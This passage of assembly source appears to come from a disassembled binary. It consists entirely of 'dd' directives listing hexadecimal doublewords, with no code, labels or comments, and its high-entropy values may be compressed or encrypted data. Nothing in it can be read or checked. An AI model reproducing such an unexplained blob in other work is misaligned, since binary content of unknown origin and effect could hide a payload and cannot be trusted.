		dd 0FDD1EC20h, 0CB343F62h, 69CA0580h, 55FB4218h, 263AB501h
		dd 0E641EA2h, 14EFC360h, 0B4D47465h, 7E7C8E00h,	20AF9748h
		dd 5DA7E500h, 3D28F404h, 0E7F0E4D8h, 0D7BED8h, 470968CBh
		dd 0AC45E8Fh, 0C9286660h, 146FE3h, 0D835EA30h, 36289803h
		dd 33757300h, 7058FD5h,	0C257DBDh, 99C1D27Fh, 5C058451h
		dd 9A57E777h, 60ECC982h
		dd 430FD44h, 6E4A0244h,	25FD809Dh, 0B9002E95h, 0CF6BCE75h
		dd 103D0Bh, 47723387h, 0F6814223h, 41B6F703h, 0F84EE456h
		dd 0E7F7DAFh, 909A8DD6h, 61DAEE80h, 98004CB0h, 746CCB75h
		dd 0C5F8E0h, 1C55D9C6h,	239F067Fh, 39D15E00h, 246A2E51h
		dd 174718Dh, 0DD68DB78h, 0E4793BCAh, 1802C363h,	0D81E295Dh
		dd 0BEE4E0D7h, 0D4561299h, 4C4003A6h, 180AE4F1h, 8C4BD209h
		dd 0A62EC480h, 7EA9733h, 0EE6F9D54h, 969FF7E3h,	3F0038ADh
		dd 919263C8h, 793A7AF5h, 9152E81Fh, 0C3781C9Ch,	6B5AD072h
		dd 98D52AA0h, 398FF100h, 0EA944D1Eh, 0C2C63F3Fh, 104BD918h
		dd 36609530h, 6A52B768h, 0E72A0303h, 0AD79CA1Ch, 9E00B97Dh
		dd 0C633258Bh, 17D63Fh,	6E7098DDh, 95C0A9E8h, 5F634F0Eh
		dd 0DBD8A0FBh, 5C837h, 853C2EA1h, 63FABBB1h, 336C5207h
		dd 0AEFF9683h, 0A5A7C0CBh, 2DC305h, 3ED307F6h, 46E931F5h
		dd 0EE104B1Eh, 0FD2980B9h, 0DACC176Dh, 0F8601395h, 80381D8Fh
		dd 822EF3C0h, 6800E0A8h, 0DC7E83B3h, 49E6D5h, 3977CB9Ch
		dd 79D44093h, 0BEA853Bh, 82C43Bh, 0A95B0440h, 9B6F0069h
		dd 3F327D12h, 0C400A461h, 0ED81F3A8h, 0C760F0h,	0FEA766D5h
		dd 0BD77111Bh, 75272D0Eh, 0AF474021h, 0EA0BBEh,	3D1DDEB6h
		dd 530A8F90h, 0D6EE947Eh, 0DA7E2E26h, 752D5200h, 0F39EC6h
		dd 69136BF2h, 26A2AD80h, 9900747Dh, 9F1C86D4h, 76AC07A3h
		dd 9E0E0085h, 1EC42061h, 69020A62h, 0B1591002h,	9608C08Bh
		dd 542A001Ch, 29C27A5Ch, 6E1D5BAEh, 8E40778h, 0E7C5C801h
		dd 0A0E88641h, 0CE830124h, 0DAC9E211h, 692E047h, 9D30401h
		dd 0DB5B492Ch, 8C786980h, 8763E9Bh, 0BF37AE00h,	74025D03h
		dd 0E07F163Ch, 0A5BF0090h, 0DC2CEC99h, 71AB0F00h, 619A8085h
		dd 0D5C00047h, 5D505F51h, 4A0023AFh, 841D8F05h,	2A7CE2B9h
		dd 9427AAh, 9C12AE0Fh, 6F72B63Ah, 75403B60h, 3F7171Bh
		dd 28C3B4DDh, 0B800D2F9h, 0FF5316D0h, 2527242h,	0C9BA24FBh
		dd 0C480EA2Ch, 1E7848Ah, 115FB402h, 0E094D8Eh, 0F6806480h
		dd 0AE00357Fh, 0F7D9AE4h, 0C91CE0h, 7BC00BA1h, 70F1B88Fh
		dd 0A074EE00h, 777C579Ch, 7D18003Ch, 5D974C6Ch,	6303B852h
		dd 95134682h, 0DDF2C827h, 0C1F51DA9h, 0FF6E8035h, 0CB29B2F1h
		dd 0AA05D90Ch, 70698EFh, 493376ECh, 7B3BA062h, 93003F89h
		dd 0F47C2F19h, 1E03AD14h, 0B086A32Eh, 7BDEBE1h,	0A2A84660h
		dd 7C6CD2F7h, 17E6FCh, 0E3702991h, 646E07CCh, 9A9BA00h
		dd 6D744069h, 0E7B20FB0h, 72A0F0D4h, 31F3EAEDh,	13386648h
		dd 0F800C126h, 62CF3F8Ah, 1F91E46Ah, 40834145h,	0AF4994F1h
		dd 107132Dh, 0BCBF6C6h,	0A852DA67h, 9C5440F4h, 0C17860B4h
		dd 0A2522808h, 3D847902h, 0A02D4CFFh, 0A9AA1CB0h, 0D0D352E6h
		dd 388DB3C0h, 0D2390234h, 0EC00F823h, 6DF5BD54h, 0E9A04Ch
		dd 0D75FF80Eh, 0F2CAC07Fh, 8FD8C31Fh, 0C6699EC0h, 7CE33CA6h
		dd 2223BD2h, 0F5F90680h, 0F40A255Eh, 3B1C4C73h,	80FDC19Eh
		dd 7E714636h, 383EBh, 6CB07F53h, 7710C9ACh, 32CDA3Dh, 0BC30225Ah
		dd 0F1978B8h, 0FCD0CF88h, 0E10FF8C0h, 0A450D9B4h, 7B176FECh
		dd 210455B6h, 7C809B47h, 16F6DFB8h, 771F5D3h, 0F03A9967h
		dd 0ED705E05h, 0B87CFD01h, 9F941DAFh, 4A6FF0h, 0CFA0C027h
		dd 0B9015CDBh, 192C3E00h, 4EA429B3h, 67D40F04h,	99F8504Bh
		dd 0BA007051h, 8725C1EEh, 50D6563Fh, 4349DB9h, 396D066Ah
		dd 9B149C16h, 46326400h, 78BECAAAh, 0ED84004Fh,	7A7FB636h
		dd 7538D20Ch, 0ECF7021Ch, 6018336Fh, 3969862Ah,	0BF8021A7h
		dd 0FB92A8E6h, 66004DE7h, 65C21898h, 0A8CD4h, 0C5990762h
		dd 3B4951B4h, 7A8AA60Eh, 80970995h, 203F8FEEh, 0FCCB0ADBh
		dd 94C83Ch, 0E054F1A3h,	470029B9h, 0FE0D24C2h, 107FCAh
		dd 0FAE1D8DDh, 0ECF69FAEh, 0F050D900h, 60EF4AB9h, 0A09005Bh
		dd 15FE7003h, 6D4CC801h, 97C6002Ch, 67E8AEBEh, 0F45F0064h
		dd 81DB48E5h, 0A4297A50h, 893DA046h, 80CD4211h,	0FEAF8A68h
		dd 65A4041Eh, 80491662h, 8F7F90B8h, 0F4CB8000h,	702E5C10h
		dd 63FC0069h, 0C229C9B6h, 34EEC6A2h, 75B4092Ch,	2A58F818h
		dd 0D39600CBh, 799989D8h, 0D8E52D9Ch, 7D1CC084h, 0EFC0A619h
		dd 4407926Eh, 6C61EDBh,	0D1CFCFBCh, 0E1E8F9C0h,	92008425h
		dd 8F8164BAh, 16C1F8h, 0C21ADAADh, 6E24BFDEh, 0DFD89407h
		dd 8DE7C31Eh, 43B26CB0h, 3537635h, 30830DCAh, 9090507Eh
		dd 0BC93FA95h, 81549980h, 381B33D9h, 77808C46h,	14193FCAh
		dd 12E62B29h, 31ED0A04h, 94C06D02h, 989C88A0h, 0A9F507CEh
		dd 0F2EC0F30h, 886809CFh, 0E059443h, 11F4FE88h,	2C9AE000h
		dd 263D1E9Dh, 124A148h,	0EA06E696h, 5C183060h, 4792E81Ch
		dd 0AAABA5C0h, 0BEF6C3h, 16E1AADh, 0E28945A4h, 32D53F00h
		dd 1BD7A994h, 3DDE004Dh, 76823B7Fh, 1C0048C4h, 85750D2Eh
		dd 88C09Fh, 21FC7234h, 0C11D9910h, 83694005h, 0FC30B919h
		dd 1410DC1Eh, 0F0F4CD38h, 78DA3700h, 0FB50A37Ah, 5C8CF807h
		dd 7000E4A4h, 0F6113Dh,	9704E2FAh, 3216D4E3h, 55865E00h
		dd 4AEB2628h, 877AA1h, 0A7212010h, 237B473h, 0DB414204h
		dd 90D061BBh, 0D11EAh, 0F97A28DDh, 0A30A1D66h, 0B23EE774h
		dd 13493FB9h, 0BC049A37h, 0D6435D70h, 0A0A89396h, 5E003A4Bh
		dd 9DF0E622h, 0BC0746h,	0AE1D2EFEh, 0B6D6BDD4h,	3324A5FEh
		dd 42601C65h, 0B5123Ch,	1EC9B43Eh, 88134886h, 0FFAF4600h
		dd 60C72431h, 21420120h, 12689F40h, 933062A7h, 353B3C41h
		dd 0CC303A9Dh, 2FA60065h, 30E4FBFAh, 290FAB91h,	1A53419h
		dd 85B6B189h, 0F3D39FCh, 0D6F88176h, 8B4DED01h,	8928206Bh
		dd 0D8E1A612h, 0C6E40C00h, 7D6822h, 37C571E6h, 0A8918E9Eh
		dd 1A04AFB8h, 9CD5B7EAh, 216BF7C0h, 203656A6h, 0C0DE051Dh
		dd 0EAFB3F1Dh, 0B94860C0h, 871B8BC8h, 4D809192h, 3CEDFC42h
		dd 2DACA5F1h, 3144007Ch, 89D17E03h, 14E05107h, 9C607FFCh
		dd 0A1FBF8D7h, 0A4C118D3h, 2617A5E4h, 39BC6795h, 2A2D96h
		dd 9F6FD39Ch, 0DB0E0266h, 49934D5Bh, 5D8C206Ch,	3852EBh
		dd 8011F2E7h, 6A03D6D4h, 6B00237Ch, 74C8A0BFh, 489DD1DFh
		dd 504801Fh, 98FC0B07h,	1300A74Ch, 0FBCDBCE7h, 7F49D60Ch
		dd 0C53B0C67h, 0C4E07F3Ah, 7E26AA00h, 0C9E3029Eh, 107B81Ah
		dd 818A6050h, 0D010A9CEh, 8E72F55Ah, 0E200B27Ah, 522EB93Dh
		dd 3A09BB5Dh, 20805604h, 0C67521D8h, 0AB3817ECh, 71D3002Ch
		dd 3C706180h, 0D74303FDh, 1D069C03h, 0D9733FC8h, 0F30F4C72h
		dd 20FEDA7Eh, 0D5BB8681h, 0E35000F6h, 0E9642001h, 0D26D205h
		dd 0D4802807h, 8633164Eh, 8C9586Ch, 0EB53B20Bh,	1B822C80h
		dd 0B0013CC6h, 4DFFCFB3h, 2680D062h, 0C585277Eh, 0EB005CB2h
		dd 375A36F3h, 2CA611FFh, 349DB6h, 0F517CB31h, 4A09A334h
		dd 7F65AAh, 0E2641CB8h,	0FB160012h, 0FFA152A0h,	0BD4C56F5h
		dd 4B8B0067h, 207A4C34h, 0DFB600DDh, 0D8F4C2D5h, 1B13A69Bh
		dd 48404603h, 831C0717h, 0CC24000Bh, 6AAB447Ah,	0E30006A8h
		dd 54254FB9h, 500867EFh, 0CFB3A0BCh, 1643BD8h, 0CCA7A6h
		dd 6911612Dh, 0B03FBC3h, 4718891Bh, 7FFD0180h, 0B92E1EAAh
		dd 56BB8DFh, 7080C528h,	203F728h, 20D2F996h, 4C20A251h
		dd 0EF76CE34h, 0AA3849E5h, 0DD69FD1Ch, 952783E5h, 38B01F21h
		dd 0DE006552h
		dd 20317619h, 4B1DDB3Eh, 9164703Dh, 0A0001596h,	8273D1C6h
		dd 7BD381A3h, 0E3E20166h, 0EFE728A2h, 8724858Dh, 0FB805178h
		dd 0B9E407AEh, 0C0642EA4h, 1CF47818h, 0BBB21700h, 0CFD29F56h
		dd 0DAD000F6h, 374E7193h, 0BF09DF18h, 4CC2A26Eh, 94120518h
		dd 0C0969373h, 0E5141669h, 0EF039C00h, 0F57A3020h, 53C8001Ah
		dd 0A66E11DAh, 9E4D8FD8h, 0A7261DB8h, 0E250980h, 1B8C396h
		dd 823C7DA8h, 0F89C6D73h, 9123922h, 5400046Ah, 78C3FBF9h
		dd 0D54B00EDh, 8DB7D63Eh, 55003D93h, 0C4875D7Eh, 0D81422h
		dd 728F5646h, 7370A6A7h, 0C0B8B559h, 0C44F7FDDh, 11F3012Eh
		dd 26F50D45h, 0AC80F0F2h, 0A283C506h, 330B01Ah,	0E0DA114Dh
		dd 0BFA058CAh, 541F2252h, 0F3899834h, 7650486Fh, 0CE450074h
		dd 841D8014h, 0FC00EE8Fh, 441C2111h, 1C963748h,	0A63B7C3Ah
		dd 34021688h, 5594906Ch, 3D690FAAh, 60DA8918h, 0B70658h
		dd 7D4C821Eh, 0D960AAF2h, 0E4EFB800h, 89BBD708h, 18F90940h
		dd 0F000468Fh, 20BC5578h, 5F20E14h, 0EC3AC1h, 10C9A32Eh
		dd 24CB7D3Fh, 0C0F4B399h, 6CB7F3FFh, 49C2200h, 0B9D9F27h
		dd 96140047h, 31C45C39h, 0B300737Fh, 3742B751h,	0E8B598F0h
		dd 0FE180071h, 0B116F612h, 0AC0003C1h, 0DA93BDE6h, 0BA2145Dh
		dd 970B331Ch, 75BB6861h, 0AEBCD4A4h, 944A6790h,	1A05F020h
		dd 4DFE00D2h, 8D4A2B0Ah, 1907E1DCh, 0CA4FAA69h,	1D0C82C0h
		dd 8F6499Fh, 0ED3E0500h, 2F488DC0h, 0CBAB000h, 0D49A54D5h
		dd 95AE09DDh, 38A3307Fh, 0A1F0E1C3h, 58F0ECF3h,	0F600257Dh
		dd 9897E9C7h, 389C7E47h, 700C163h, 443BED64h, 330E9EAFh
		dd 1B0A006h, 17F98902h,	15D86071h, 9E9502DEh, 22315C2Eh
		dd 490C0860h, 73EB25h, 0DB196A5Ch, 0EF2A0209h, 0DD9B4CDh
		dd 30893CC1h, 39004A35h, 0FC7D8C73h, 63BDB1h, 0A0EACAF2h
		dd 0D340347Ah, 8009CE38h, 7241A861h, 7A8C50DBh,	62760078h
		dd 6E8544EFh, 1700366Bh, 0A9CC3DE3h, 2B2C0359h,	0F0F682h
		dd 8A161931h, 309346E5h, 4A003C2Ah, 0A698526Eh,	39A17524h
		dd 8B004355h, 0B2F00E02h, 0B8016487h, 45482E94h, 0F5C10B32h
		dd 1793DC70h, 6C63ECh, 619D4090h, 4B0EB9F9h, 0E01B7EBEh
		dd 743B98F8h, 41184F3Ch, 916DE818h, 844E201Dh, 4492712h
		dd 1EF44830h, 0D0FF2751h, 0E0D498B9h, 1962AFC4h, 8027CC78h
		dd 35A5B5CCh, 0C0B8FEh,	0ABC7FA03h, 0A3DEAA7Dh,	95343Fh
		dd 0BE9F0B42h, 528ACF1Eh, 390034B9h, 89C021CDh,	9C18D0ADh
		dd 9AB882DCh, 2F1D25BDh, 5880B809h, 90B0B1D8h, 0AA28EA07h
		dd 11102BDCh, 6EFFE0h, 644ECB5Fh, 0B5523B7Fh, 92700158h
		dd 62AEE000h, 0D8BC25h,	82464389h, 2D7D153Bh, 0D900DC90h
		dd 6834F617h, 0E7535F7h, 58DE89C2h, 30A4D912h, 0D97E3243h
		dd 268B900h, 0F4CFA32Fh, 0AAAD1E46h, 73058027h,	3B147D77h
		dd 0BD0FDA07h, 0C1B1E29h, 1698F0h, 0D4FC84A1h, 0C0ECBAE9h
		dd 0F0FE3306h, 90B9801Fh, 40030070h, 0C9A46816h, 0D100BF29h
		dd 0E195FBF4h, 1858E55h, 8C161033h, 68A5B04Ah, 7FAC4EBCh
		dd 0C0CA081Dh, 5305C4Fh, 0F2E446F0h, 0DE00E77Ah, 0AE8D4C9Eh
		dd 0C2433B8Bh, 80103660h, 0D5083CE8h, 98683CAAh, 0C201EC83h
		dd 0C0470554h, 3C207A32h, 18BD4CA6h, 7C81858Bh,	4FAA7CBBh
		dd 284C4C70h, 8E0028CDh, 81FDC342h, 98AF0F9h, 4F3741D3h
		dd 3D488E82h, 0B08028D1h, 0CD0B9E83h, 39A201F6h, 0FAC3369Dh
		dd 2C283Dh, 612EDEF8h, 2923D2h,	0EF323764h, 4C0BE7A2h
		dd 0F5423A00h, 672B8DA0h, 0E5FA71h, 9382A426h, 0D17A502Eh
		dd 98A16501h, 60BDB08Ah, 0BC3C0C31h, 7D9D2Eh, 9C68B3A9h
		dd 2A1E310Ah, 0D3C16536h, 2CA66A1Eh, 307C024h, 7F1D6BCDh
		dd 0E1B914BFh, 0CA547016h, 6C2BFB2Eh, 0B48002C7h, 2F936B6h
		dd 1C9B6A34h, 7C43D68Ah, 3C4169E9h, 84F23C0Ch, 117128CDh
		dd 0B4010C88h, 6A455014h, 0FD7420E1h, 6DA19100h, 0E68042FCh
		dd 8E0C0BF3h, 78AF4E07h, 82181693h, 91E06F90h, 0C0009EE7h
		dd 15FAB8FEh, 78C3D856h, 0F30E1403h, 3901C07Bh,	24CE57E6h
		dd 20AA60A6h, 8743752Dh, 740464Ch, 0EB9C44h, 0E5D9E22Bh
		dd 673FEA99h, 3B453607h, 0D001F95h, 1E6E5AA5h, 80B4E764h
		dd 0ED188D65h, 200AC83h, 20C540BDh, 4E73BEh, 5AD181CDh
		dd 77843676h, 1E046C00h, 7D2D3D83h, 60CC3A39h, 1838F780h
		dd 23215A66h, 2FA68E03h, 0E0986E97h, 0CF1A7Fh, 277E9E02h
		dd 0FAEF5846h, 4CDA801Ch, 93F500FDh, 4F3A7660h,	0A36B0044h
		dd 433D0540h, 2171C35Dh, 6300747Eh, 7045D41Ah, 7A4188Ch
		dd 7B8EA50Bh, 5C044097h, 0EF073621h, 0AEE86E95h, 4A354E20h
		dd 0C8DC007Bh, 0E5ACB368h, 7D060659h, 20B616F7h, 459F00A8h
		dd 94A6EAB5h, 0D200BE5Fh, 3150921Fh, 3E0CA8h, 22466099h
		dd 0D0087BD7h, 0F7760600h, 0E2FDA61Ah, 268D0770h, 0C0182891h
		dd 0BC10A5C6h, 0B279F206h, 3EC04FD2h, 6D3DF6E9h, 52481C00h
		dd 0AD068D1Bh, 3500C6FEh, 0E46F6101h, 0FC69F3CCh, 0CB5E0027h
		dd 0DD755FC7h, 382CBD89h, 0FA00AFDFh, 0F45523A5h, 7E7400B4h
		dd 0BCF26895h, 8000D6E6h, 0E9E1D585h, 0BEFA3Dh,	0F4D8A1CEh
		dd 0A49789E0h, 1547F53h, 4B9C5C7Ch, 0A8D42DE0h,	0F6B23F8Eh
		dd 0D3BA4680h, 0C56E4902h, 3871D3Ch, 0A0FD70E4h, 0FBD1C8FAh
		dd 0BF920019h, 0CEC6B99Bh, 61001D3Ch, 285F15F0h, 3B9F6F74h
		dd 668086EDh, 2FCDC27h,	7B00871Bh, 0FB88B770h, 764D6F28h
		dd 8BF1006Eh, 460C2FF7h, 0F0027D1h, 0E251C0Ah, 0CDE122h
		dd 714D9580h, 0F90213DDh, 45373F00h, 57F689E2h,	0E95F00D5h
		dd 0E4253B0Ch, 0F8021F30h, 172441C0h, 0C446C0EDh, 3E7E1CFCh
		dd 4AC4498h, 8C378071h,	55005AE6h, 0D2854245h, 923DD6h
		dd 721F9473h, 15EF87Bh,	0C8E6C163h, 43A1C00Bh, 3BD407F5h
		dd 0A02A3E94h, 0C4BB968Ah, 8CCD841Fh, 8E3F78B7h, 257820AFh
		dd 23D8B8h, 0FA75BEA3h,	0E0AA872Ah, 0F8B00800h,	0DFDE9151h
		dd 36E50BBCh, 0CC741803h, 80D8EF0Bh, 843A24C4h,	0C71900FDh
		dd 142937F4h, 5E021BB3h, 0AD17A368h, 77689h, 3B759963h
		dd 7807E6ACh, 0D7E24BCAh, 56C208D7h, 0C2A04149h, 0CC0FF8h
		dd 516EA7BDh, 0EAE83270h, 7EB82700h, 211B888Dh,	0A5A80765h
		dd 8059B9F5h, 23E6F972h, 0FBC8CD04h, 0C080344Eh, 1C7F2Bh
		dd 2E3D10C2h, 70F56F80h, 31D19C0h, 0E640F899h, 54A950E5h
		dd 3B300C74h, 2E294EF1h, 50147203h, 886DB4CAh, 0BB97D1h
		dd 0B9073391h, 394F3C7Eh, 6DD4E1Dh, 98609379h, 41DA3F00h
		dd 4D182Ch, 560C3E75h, 0F1080592h, 0DFEE81E6h, 19E2300Bh
		dd 455380A3h, 98142709h, 76AE0C73h, 0BC2887D1h,	33E4B507h
		dd 1B0EF61h, 0E5849B8h,	6580E2A5h, 5D458880h, 0A71EBF99h
		dd 3D19C30Dh, 79CC40A0h, 3C9E0201h, 27901698h, 9A05B380h
		dd 0A57CA932h, 6AEAA709h, 6F95008Dh, 1EF529Bh, 37211ADCh
		dd 20794C6Eh, 40FA4D20h, 85DFB00h, 0DD2D83F2h, 4CCB17B8h
		dd 6EFA002Bh, 0D0014D25h, 1800BAEEh, 0AE6B80D1h, 248F8C2Ch
		dd 7BC8835h, 8056A1C2h,	981B7B24h, 21F10607h, 5090E4A5h
		dd 6F3BD2h, 7867228Ch, 654B30E2h, 5187160h, 76170403h
		dd 70BE65Ah, 8FBA8027h,	0EEAB92BEh, 0EB956440h,	53287D77h
		dd 0B00EE07Eh, 3CED12h,	0FECB1477h, 0D74E005Dh,	7A5F8C84h
		dd 690F52EFh, 60DE752Dh
		dd 257CC1F9h, 3592017Eh, 6C791891h, 0C7CDF8F5h,	44067800h
		dd 74467702h, 0F1B903C1h, 0D3BCABEh, 0FF426097h, 0E009EB3h
		dd 0D2E3BBDEh, 0F05FE7C2h, 0B1640433h, 80CB7341h, 6260E1BCh
		dd 4CBE1203h, 0D8A5479Ah, 24CF02A3h, 9C61C8h, 0C1BAAB1Eh
		dd 3B007A9Fh, 4C4718Eh,	9AD50D8h, 74D4A533h, 5D4E4020h
		dd 2E4B148h, 7807047Eh,	0EF9D3688h, 1DBA06D0h, 0E0F65098h
		dd 82946066h, 6BCEABE7h, 9F1ACC12h, 5FC8BD00h, 24F4D99Dh
		dd 40C8D175h, 0CD5A10A9h, 0C641C307h, 0FDB082F3h, 1323DDh
		dd 0BA726F42h, 47B75BE6h, 52442E00h, 0C590CC5Ah, 3A70C037h
		dd 4B9BD36Fh, 170EBC90h, 0A072E9F8h, 26751F1Ah,	238FEE8h
		dd 8B3F6E6Fh, 0D8A1772Dh, 34850A1Eh, 2100274Ch,	4F54D019h
		dd 14A593D6h, 0D87EF22Dh, 145D1080h, 5700EC7Bh,	5407EE04h
		dd 0AA3E7Dh, 0D8579D1h,	290A5DA3h, 0AF61E500h, 0B26B1DA4h
		dd 953207D7h, 31240644h, 0A02C10C1h, 6E01E480h,	9EB47974h
		dd 34241C85h, 0ED10006Fh, 46B5E270h, 0C703627Ch, 0D59FCD65h
		dd 8340B85Eh, 49A105C9h, 567294h, 0AB072380h, 0FC00AFE4h
		dd 0A13221B3h, 9F02DCDh, 89BA7C1Ch, 0EAD5C480h,	832B4D78h
		dd 5024941Fh, 0D018791Bh, 22B0E03h, 14336C26h, 80807F36h
		dd 5D52C273h, 806C1E4Ch, 88FF70ADh, 989061h, 542C7D24h
		dd 0E01FC243h, 28D8BE4Ch, 58BD303Dh, 0C68E18E0h, 0A4BFB0F2h
		dd 9B00B2B0h, 0EE193780h, 0E0CE0Ah, 0B25C2669h,	0D01FD72Bh
		dd 7AA4E700h, 0D86123A9h, 35FD00B0h, 0F8857275h, 0E001653h
		dd 83B2EF5Bh, 73D6BD4h,	0B6D78A9Ah, 7915E0C0h, 5203EE4Eh
		dd 81F98C56h, 0B0DDA0DAh, 7EF7001Dh, 5DCA0447h,	4F0092A8h
		dd 0EE2FEF5Ah, 0E4CE4114h, 0D91E2413h, 2A450148h, 0FCFCBA65h
		dd 0CD007063h, 2610BCD0h, 423CA4h, 0C3784FEDh, 985DA7F0h
		dd 0E90415FCh, 0DC9E5ABFh, 83A234D0h, 0CFC900D7h, 4334D72h
		dd 49240610h, 1C01AC29h, 8FCBFDA2h, 2812B4FCh, 0F031CAh
		dd 0D9D19CF4h, 1069DDAFh, 0E4A0937Fh, 0BC004016h, 1FA1F13Eh
		dd 1DABB207h, 0C0F44B7Dh, 6028DE74h, 8CE2E637h,	0CEF94C00h
		dd 0C7BCA20Fh, 0FA70C03Bh, 0EA67F10Ah, 74E1500h, 0BA0BD75Fh
		dd 72281E5Bh, 0A3488076h, 92F0B7F8h, 83ADAE1Ch,	7879FF40h
		dd 5089E3ABh, 1361408h,	0F8CE5920h, 808BEF93h, 0BA6F1BA0h
		dd 51DF2CBh, 0EE077F53h, 57A83011h, 0C858D8E4h,	0E12B00F4h
		dd 167F13FCh, 0CF8300AEh, 0D92EE73Bh, 0BA009F31h, 8DB43012h
		dd 733C315h, 0D3BC2A4Dh, 0DFF0F0BBh, 2C041372h,	82A4F903h
		dd 86E120D0h, 0D2918A7h, 6756E1EFh, 53E5271Eh, 0E8345880h
		dd 74B7912Dh, 0B076009Fh, 0E330FF86h, 0D10099EBh, 0B40E3A3Dh
		dd 351781Ch, 3B22B10h, 0AAC2C96Eh, 5F73E068h, 7EB4961Eh
		dd 1E3BC6C3h, 0AAEBB856h, 0DF4E001Ah, 0EF326E8Bh, 0B30EB296h
		dd 42C502C0h, 62D84C2Ah, 0A34C0A7h, 0F9B85076h,	0BEEB005Eh
		dd 0F186570Dh, 1C54FBB9h, 7000119Ch, 0E02B730Ch, 2EF3DDh
		dd 1375C347h, 0BFF0186Eh, 0A77EDC76h, 0A8EA9100h, 6F712C53h
		dd 0BA1106DFh, 280330AEh, 0ECE4CC2Eh, 4A070C03h, 0C38BC813h
		dd 0AC28C1DBh, 407E877Bh, 76640D6Ch, 45521002h,	402FBF89h
		dd 432A74h, 78225168h, 0ADFFB36Fh, 415D6500h, 61217BEEh
		dd 0EF0C00D6h, 0A2D5F030h, 86008DABh, 44DE8FE0h, 6070C6h
		dd 457B1A6Eh, 0CCFEC993h, 0AB7AD100h, 0DB548B2Dh, 0ACF65CA2h
		dd 0B5530096h, 68FF46EAh, 0B0D26200h, 0AB513AEDh, 3F45F2B9h
		dd 558065A2h, 9DF178CBh, 7BE0BC80h, 7FA52300h, 0D18D17D6h
		dd 59BD000Dh, 0BE42479Ch, 71009E0Eh, 0D079D238h, 392E33h
		dd 12C776E4h, 0C080FA7h, 0F9066407h, 5D67E89Dh,	10D3E700h
		dd 0B04618CFh, 8F605888h, 5575B216h, 490F2820h,	91EA00DDh
		dd 3E32A3CCh, 6D6099D7h, 0DC291BF6h, 471770Bh, 0A135BB9Fh
		dd 5A00EB2Fh, 0FF033EEAh, 93EAFCh, 0D4C30108h, 6571F290h
		dd 0A246B800h, 54DA4D7Ch, 78ED4834h, 6A310476h,	0C07D9838h
		dd 0D329627Ch, 24499F98h, 37A7142Ch, 0E8745188h, 1409CB10h
		dd 80FCAC76h, 6A06ABD4h, 0FFC1005Ch, 8BB16096h,	0E0007D4Bh
		dd 0BFFDF52Fh, 0CEFBD7h, 0D19E5C8Dh, 9D63B84Ch,	0B0F83Bh
		dd 8AA6ECFAh, 2D74C1h, 7E1B6220h, 479FF070h, 0F82B9007h
		dd 0A3A305E2h, 676CF0C2h, 88B53FF1h, 5C0AE980h,	480F382Bh
		dd 1208A58h, 0F6E6C724h, 0C4DC5E9Fh, 0B56A000Dh, 0F27ACB97h
		dd 7800601Fh, 4B8F5558h, 0DEA42Dh, 98794AE7h, 0AF152FF7h
		dd 0ABE8F800h, 0DB333D95h, 0D0AA0051h, 6ADFC887h, 541E53C9h
		dd 0ED1B0862h, 0BE7980B8h, 0DD990012h, 40B57102h, 0B203BCF7h
		dd 5BE530CEh, 6BF0005Eh, 2AE31A31h, 0B1008988h,	0D50B782Dh
		dd 1FEF62AEh, 40978D3Ah, 93A326F4h, 8F07BEF3h, 0ABA9DFC1h
		dd 56947FC0h, 84603B87h, 4F0F5800h, 0D9F5EEC4h,	82132000h
		dd 6FC37BA4h, 9FAA004Dh, 0BCBD4739h, 7D0034F5h,	2B679D74h
		dd 0B6FDC95h, 7E7375A3h, 6D4F6683h, 983D9900h, 3F5E9902h
		dd 65031DC8h, 0D2C24040h, 0FA956A97h, 6F49800h,	0BB7526A1h
		dd 9A1A00B2h, 0CB89A84Ch, 0FA02AEC8h, 2B77A573h, 0FCC46012h
		dd 99180055h, 81B3D770h, 0D200AC9Eh, 2239090Dh,	77123BC1h
		dd 9690C17Bh, 0E4C02B92h, 3407B79Bh, 6BBCDF1Dh,	0E9718EA0h
		dd 7F3F0005h, 131141A7h, 2600A004h, 37288F61h, 0D12F99h
		dd 6CE8FF0Fh, 15FC393Ah, 7BCD8307h, 16C155CEh, 0E7FC6234h
		dd 0BE8A0046h, 0D466D024h, 95005072h, 5C9F0FFFh, 1C05FAE0h
		dd 0E43E48h, 0D7E8029Bh, 321CA2BBh, 0F1857711h,	118018B3h
		dd 0F28AB1h, 0A7568C29h, 0AC870A32h, 1FAF3Fh, 0C78EFD98h
		dd 5FFCD9h, 196AB103h, 568A9EB5h, 0A8A91003h, 0B05B5025h
		dd 0D39E3h, 9A427D7Ch, 0AA360EC1h, 0B4B6801Fh, 48D37203h
		dd 0A934F951h, 0C5944Ch, 0F07438F6h, 8E0E8A82h,	0D8F195ECh
		dd 6700850Ch, 0CA528611h, 0A0B2A0E8h, 89218Ch, 0E3C83E84h
		dd 0BC9B0C4Ah, 4861F000h, 307CF0Dh, 26A200E5h, 9774E001h
		dd 0AF001221h, 7D3DD251h, 0C4682Ah, 0DA96F0C5h,	4B186BD9h
		dd 7E56E000h, 9E87D38Eh, 1CD8F824h, 809F427Ah, 0BBA155CDh
		dd 5B004EBAh, 3704C521h, 3707F4Fh, 332D5826h, 7AF8892Fh
		dd 0FF04E6CBh, 0A9F10BB3h, 0C4F88C81h, 0DF01B422h, 24F67716h
		dd 0F3DE80C2h, 0EDD1EFEBh, 9269001Bh, 0E0918393h, 52130BDAh
		dd 1060A890h, 0EE111C0Fh, 930D03C9h, 0AD5E7951h, 86D2DE8h
		dd 0E1D77104h, 28801C4Eh, 19ED26Eh, 9D24D349h, 0DCD968E7h
		dd 0DB00CD22h, 3D668AE0h, 486EA376h, 40D23859h,	97844A54h
		dd 0C0D67F95h, 0DD98C600h, 3E3071DBh, 79246Eh, 0EE8A4937h
		dd 5660E178h, 79B8801h,	0D145F493h, 24865120h, 80C8979Fh
		dd 0FA324E06h, 9B007A2Fh, 0A030E217h, 302A21FCh, 9E68CBF3h
		dd 6677BBB0h, 26C9F600h, 1FD943E9h, 143C00C1h, 73192412h
		dd 0B600AE0Ch, 0CC0D648Dh, 1516CA10h, 0E8D730FEh, 91BD7900h
		dd 0A9ED69A8h, 83B4200h, 364132B8h, 99647BBBh, 0E65180D0h
		dd 69F5A930h, 5FB45A49h, 38C797E0h, 0D9077549h,	846ACC9Dh
		dd 0C194D84Bh, 730011FAh, 0C512F9EFh, 27C5A27h,	4203D089h
		dd 0A880150Dh, 9407A00Bh, 0ED138BE2h, 0AC4005CAh, 26E1D640h
		dd 427368h, 656E4EFDh, 71493263h, 21A93F04h, 1C80CC37h
		dd 1DC613h, 0E30ECA31h
